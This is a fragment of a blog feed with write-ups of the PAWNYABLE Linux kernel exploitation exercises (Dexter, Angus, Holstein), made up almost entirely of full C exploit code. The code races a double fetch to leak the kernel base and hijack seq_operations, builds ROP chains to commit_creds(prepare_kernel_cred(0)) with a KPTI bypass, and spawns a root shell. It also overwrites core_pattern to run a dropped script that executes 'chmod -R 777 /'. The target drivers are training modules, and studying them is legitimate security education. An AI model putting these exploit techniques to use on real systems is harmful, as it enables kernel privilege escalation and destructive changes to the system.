      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEV_DEVICE_NAME &amp;#34;dexter&amp;#34;
#define VULN_DEV_BUFFER_SIZE 0x20
#define VULN_DEV_CMD_GET 0xdec50001
#define VULN_DEV_CMD_SET 0xdec50002

#define KERNEL_BASE 0xffffffff81000000
#define SEQ_OPERATIONS_START 0xffffffff81170f80
#define SEQ_OPERATIONS_START_OFFSET (SEQ_OPERATIONS_START - KERNEL_BASE)
#define FAKE_STACK_ADDRESS (0xf6000000)
#define MOV_ESP_0xf6000000_OFFSET (0xffffffff81520224 - KERNEL_BASE)
#define MOV_ESP_0xf6000000 (kernel_base + MOV_ESP_0xf6000000_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0cd - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729b0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8110d88b - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8163d0ab - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072810 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

static void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

typedef struct {
  char* ptr;
  size_t len;
} request_t;

static int vuln_dev_fd = -1;
static request_t vuln_dev_req = {
    0,
};
static int vuln_dev_set(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_SET, &amp;amp;vuln_dev_req);
}
static int vuln_dev_get(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &amp;amp;vuln_dev_req);
}

static int race_success = 0;
static void* vuln_dev_race(void* arg) {
  const size_t len = (size_t)arg;
  while (!race_success) {
    vuln_dev_req.len = len;
    usleep(1);
  }
  return NULL;
}
static void vuln_dev_oob_read(void* out, size_t len) {
  if (len &amp;lt;= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_get(out, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  *(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&amp;amp;th, NULL, &amp;amp;vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_get(out, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }
    if (*(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
      race_success = 1;
    }
  }
  pthread_join(th, NULL);
}
static void vuln_dev_oob_write(void* data, size_t len) {
  if (len &amp;lt;= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_set(data, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  void* tmp = malloc(len);
  *(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&amp;amp;th, NULL, &amp;amp;vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_set(data, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }

    while (1) {
      if (vuln_dev_get(tmp, VULN_DEV_BUFFER_SIZE)) {
        continue;
      }
      if (*(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
        break;
      }
    }

    if (!memcmp(tmp, data, len)) {
      race_success = 1;
    }
  }
  free(tmp);
  pthread_join(th, NULL);
}

static uint64_t kernel_base = 0;

int main() {
  char char_buf[0x800];
  uint64_t* uint64_buf = (uint64_t*)char_buf;
  srand(time(NULL));
  save_state();

  int seq_ops_spray[800] = {
      0,
  };
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }
  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open &amp;#34; VULN_DEV_DEVICE_NAME);
  }
  for (int i = sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }

  int seq_ops_start_idx = -1;
  vuln_dev_oob_read(char_buf, sizeof(char_buf));
  for (int i = 0; i &amp;lt; sizeof(char_buf) / sizeof(uint64_t); ++i) {
    if ((uint64_buf[i] &amp;amp; SEQ_OPERATIONS_START_OFFSET) ==
        SEQ_OPERATIONS_START_OFFSET) {
      kernel_base = uint64_buf[i] - SEQ_OPERATIONS_START_OFFSET;
      seq_ops_start_idx = i;
      break;
    }
  }
  if (seq_ops_start_idx == -1 || kernel_base == 0 ||
      (kernel_base &amp;amp; 0xFFFFF) != 0) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%16lx @ idx: %d\n&amp;#34;, kernel_base,
         seq_ops_start_idx);

  void* fake_stack = mmap(
      (void*)(FAKE_STACK_ADDRESS - 0x8000), 0x10000, PROT_READ | PROT_WRITE,
      MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  uint64_t* rop = (uint64_t*)(FAKE_STACK_ADDRESS);
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafebe01;
  *rop++ = 0xdeadbeefcafebe02;
  *rop++ = (uint64_t)(get_shell);
  *rop++ = (uint64_t)(user_cs);
  *rop++ = (uint64_t)(user_rflags);
  *rop++ = (uint64_t)(user_sp);
  *rop++ = (uint64_t)(user_ss);

  uint64_buf[seq_ops_start_idx] = MOV_ESP_0xf6000000;
  vuln_dev_oob_write(uint64_buf, 8 * (seq_ops_start_idx + 1));

  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    read(seq_ops_spray[i], char_buf, 0x100);
  }

  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    close(seq_ops_spray[i]);
  }

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;exercise-with-smap&#34;&gt;Exercise (with SMAP)&lt;/h2&gt;
&lt;p&gt;I tried writing exploit code with SMAP enabled. But I failed.
I think that any registers cannot be controlled when using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.17.1/source/include/linux/seq_file.h#L32&#34;&gt;&lt;code&gt;seq_operations&lt;/code&gt;&lt;/a&gt; to control RIP.&lt;/p&gt;
&lt;p&gt;My inference to exploit with SMAP:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find &lt;code&gt;kmalloc-32&lt;/code&gt; object containing reference count&lt;/li&gt;
&lt;li&gt;Using heap overflow, make UAF object.&lt;/li&gt;
&lt;li&gt;Do cross-cache attack and exploit UAF.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Or just find a good &lt;code&gt;kmalloc-32&lt;/code&gt; object with RIP controll primitives with register controll or AAW primitives, ETC.
But I cannot find the good object&amp;hellip;&lt;/p&gt;
&lt;p&gt;Currently, I does not know what is cross-cache attack and how SLUB works.
Therefore I decide to delay solving this exercise until I study SLUB and cross-cache attack, ETC.&lt;/p&gt;
&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK03/double_fetch.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK03/double_fetch.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>PAWNYABLE LK02: Angus</title>
      <link>/posts/kernel/pawnyable/pawnyable_lk02/</link>
      <pubDate>Thu, 09 Jan 2025 14:17:52 +0000</pubDate>
      
      <guid>/posts/kernel/pawnyable/pawnyable_lk02/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;lk02-angus&#34;&gt;LK02 (Angus)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;167243895&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;167243895&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/param.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;angus&amp;#34;
#define VULN_DEVICE_MAX_LEN 0x1000
#define VULN_CMD_INIT 0x13370001
#define VULN_CMD_SETKEY 0x13370002
#define VULN_CMD_SETDATA 0x13370003
#define VULN_CMD_GETDATA 0x13370004
#define VULN_CMD_ENCRYPT 0x13370005
#define VULN_CMD_DECRYPT 0x13370006

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000

#define CORE_PATTERN_OFFSET (0xeb1820)

static void fatal(const char *msg) {
  perror(msg);
  exit(-1);
}

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

int vuln_dev_fd = -1;
static uint64_t vuln_dev_init() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_INIT, &amp;amp;req);
}
static uint64_t vuln_dev_setkey(void *key, size_t key_len) {
  request_t req = {.ptr = key, .len = key_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETKEY, &amp;amp;req);
}
static uint64_t vuln_dev_setdata(void *data, size_t data_len) {
  request_t req = {.ptr = data, .len = data_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETDATA, &amp;amp;req);
}
static uint64_t vuln_dev_getdata(void *out, size_t out_len) {
  request_t req = {.ptr = out, .len = out_len};
  return ioctl(vuln_dev_fd, VULN_CMD_GETDATA, &amp;amp;req);
}
static uint64_t vuln_dev_xor() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_ENCRYPT, &amp;amp;req);
}

static void *fake_xor_cipher_mem = (void *)-1;
const size_t fake_xor_cipher_mem_size = 0x2000;
static XorCipher *fake_xor_cipher = (void *)-1;
static XorCipher *make_fake_xor_cipher() {
  fake_xor_cipher_mem =
      mmap(0, fake_xor_cipher_mem_size, PROT_READ | PROT_WRITE,
           MAP_FIXED | MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_xor_cipher_mem &amp;lt; 0) {
    fatal(&amp;#34;mmap&amp;#34;);
  }

  fake_xor_cipher = (XorCipher *)fake_xor_cipher_mem;
  return fake_xor_cipher;
}
static void AAR(void *out, uint64_t addr, size_t len) {
  fake_xor_cipher-&amp;gt;data = (void *)addr;
  fake_xor_cipher-&amp;gt;datalen = len;
  vuln_dev_getdata(out, len);
}
static uint64_t AAR64(uint64_t addr) {
  uint64_t ret = 0;
  AAR(&amp;amp;ret, addr, 8);
  return ret;
}
static void AAW(const void *data, uint64_t addr, size_t len) {
  uint8_t *val = (uint8_t *)(fake_xor_cipher_mem + VULN_DEVICE_MAX_LEN);
  const uint8_t *src = (const void *)data;
  fake_xor_cipher-&amp;gt;key = val;
  while (len != 0) {
    const size_t step_len = MIN(VULN_DEVICE_MAX_LEN, len);

    AAR(val, addr, step_len);
    for (int i = 0; i &amp;lt; step_len; ++i) {
      val[i] ^= *src++;
    }
    fake_xor_cipher-&amp;gt;data = (void *)addr;
    fake_xor_cipher-&amp;gt;datalen = step_len;
    fake_xor_cipher-&amp;gt;keylen = step_len;
    vuln_dev_xor();

    addr += step_len;
    len -= step_len;
  }
}
static void AAW64(uint64_t addr, uint64_t val) { AAW(&amp;amp;val, addr, 8); }
static uint64_t leak_kernel_base() {
  for (uint64_t addr = KERNEL_BASE_START; addr &amp;lt;= KERNEL_BASE_END;
       addr += 0x100000) {
    uint64_t val = AAR64(addr);
    if (val == 0x4800e03f51258d48) {
      return addr;
    }
  }
  return (uint64_t)-1;
}

int main() {
  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_dev&amp;#34;);
  }
  make_fake_xor_cipher();

  uint64_t kernel_base = leak_kernel_base();
  if (kernel_base == (uint64_t)-1) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] core_pattern: %p\n&amp;#34;, (void *)(kernel_base + CORE_PATTERN_OFFSET));

  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  const char kCorePattern[] = &amp;#34;|/tmp/evil.sh&amp;#34;;
  const size_t kCorePatternLen = strlen(kCorePattern);
  AAW(kCorePattern, kernel_base + CORE_PATTERN_OFFSET, kCorePatternLen);
  system(&amp;#34;ulimit -c unlimited&amp;#34;);
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  munmap(fake_xor_cipher_mem, fake_xor_cipher_mem_size);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK02/null_ptr_deref.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK02/null_ptr_deref.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;lk02-angus&#34;&gt;LK02 (Angus)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;167243895&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;167243895&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/param.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;angus&amp;#34;
#define VULN_DEVICE_MAX_LEN 0x1000
#define VULN_CMD_INIT 0x13370001
#define VULN_CMD_SETKEY 0x13370002
#define VULN_CMD_SETDATA 0x13370003
#define VULN_CMD_GETDATA 0x13370004
#define VULN_CMD_ENCRYPT 0x13370005
#define VULN_CMD_DECRYPT 0x13370006

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000

#define CORE_PATTERN_OFFSET (0xeb1820)

static void fatal(const char *msg) {
  perror(msg);
  exit(-1);
}

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

int vuln_dev_fd = -1;
static uint64_t vuln_dev_init() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_INIT, &amp;amp;req);
}
static uint64_t vuln_dev_setkey(void *key, size_t key_len) {
  request_t req = {.ptr = key, .len = key_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETKEY, &amp;amp;req);
}
static uint64_t vuln_dev_setdata(void *data, size_t data_len) {
  request_t req = {.ptr = data, .len = data_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETDATA, &amp;amp;req);
}
static uint64_t vuln_dev_getdata(void *out, size_t out_len) {
  request_t req = {.ptr = out, .len = out_len};
  return ioctl(vuln_dev_fd, VULN_CMD_GETDATA, &amp;amp;req);
}
static uint64_t vuln_dev_xor() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_ENCRYPT, &amp;amp;req);
}

static void *fake_xor_cipher_mem = (void *)-1;
const size_t fake_xor_cipher_mem_size = 0x2000;
static XorCipher *fake_xor_cipher = (void *)-1;
static XorCipher *make_fake_xor_cipher() {
  fake_xor_cipher_mem =
      mmap(0, fake_xor_cipher_mem_size, PROT_READ | PROT_WRITE,
           MAP_FIXED | MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_xor_cipher_mem &amp;lt; 0) {
    fatal(&amp;#34;mmap&amp;#34;);
  }

  fake_xor_cipher = (XorCipher *)fake_xor_cipher_mem;
  return fake_xor_cipher;
}
static void AAR(void *out, uint64_t addr, size_t len) {
  fake_xor_cipher-&amp;gt;data = (void *)addr;
  fake_xor_cipher-&amp;gt;datalen = len;
  vuln_dev_getdata(out, len);
}
static uint64_t AAR64(uint64_t addr) {
  uint64_t ret = 0;
  AAR(&amp;amp;ret, addr, 8);
  return ret;
}
static void AAW(const void *data, uint64_t addr, size_t len) {
  uint8_t *val = (uint8_t *)(fake_xor_cipher_mem + VULN_DEVICE_MAX_LEN);
  const uint8_t *src = (const void *)data;
  fake_xor_cipher-&amp;gt;key = val;
  while (len != 0) {
    const size_t step_len = MIN(VULN_DEVICE_MAX_LEN, len);

    AAR(val, addr, step_len);
    for (int i = 0; i &amp;lt; step_len; ++i) {
      val[i] ^= *src++;
    }
    fake_xor_cipher-&amp;gt;data = (void *)addr;
    fake_xor_cipher-&amp;gt;datalen = step_len;
    fake_xor_cipher-&amp;gt;keylen = step_len;
    vuln_dev_xor();

    addr += step_len;
    len -= step_len;
  }
}
static void AAW64(uint64_t addr, uint64_t val) { AAW(&amp;amp;val, addr, 8); }
static uint64_t leak_kernel_base() {
  for (uint64_t addr = KERNEL_BASE_START; addr &amp;lt;= KERNEL_BASE_END;
       addr += 0x100000) {
    uint64_t val = AAR64(addr);
    if (val == 0x4800e03f51258d48) {
      return addr;
    }
  }
  return (uint64_t)-1;
}

int main() {
  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_dev&amp;#34;);
  }
  make_fake_xor_cipher();

  uint64_t kernel_base = leak_kernel_base();
  if (kernel_base == (uint64_t)-1) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] core_pattern: %p\n&amp;#34;, (void *)(kernel_base + CORE_PATTERN_OFFSET));

  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  const char kCorePattern[] = &amp;#34;|/tmp/evil.sh&amp;#34;;
  const size_t kCorePatternLen = strlen(kCorePattern);
  AAW(kCorePattern, kernel_base + CORE_PATTERN_OFFSET, kCorePatternLen);
  system(&amp;#34;ulimit -c unlimited&amp;#34;);
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  munmap(fake_xor_cipher_mem, fake_xor_cipher_mem_size);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK02/null_ptr_deref.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK02/null_ptr_deref.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>PAWNYABLE LK01: Holstein</title>
      <link>/posts/kernel/pawnyable/pawnyable_lk01/</link>
      <pubDate>Wed, 08 Jan 2025 08:36:10 +0000</pubDate>
      
      <guid>/posts/kernel/pawnyable/pawnyable_lk01/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;lk01-1-holstein-v1-stack-overflow&#34;&gt;LK01-1 (Holstein v1: Stack Overflow)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;376251498&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;376251498&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_without_any_mitigation.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define USER_LOG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define COMMIT_CREDS 0xffffffff8106e390

uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if USER_LOG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

static void escalate_privilege() {
  void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
  void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
  commit_creds(prepare_kernel_cred(0));
  restore_state();
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }
  save_state();

  {
    memset(buf, &amp;#39;A&amp;#39;, VULN_BUFFER_SIZE);
    uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
    *rop_buf++ = 0xdeadbeefcafebebe;
    *rop_buf++ = (uint64_t)(escalate_privilege);
  }
  write(fd, buf, VULN_BUFFER_SIZE + 0x10);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;197268534&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;197268534&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_kaslr.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define USER_LOG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)

uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
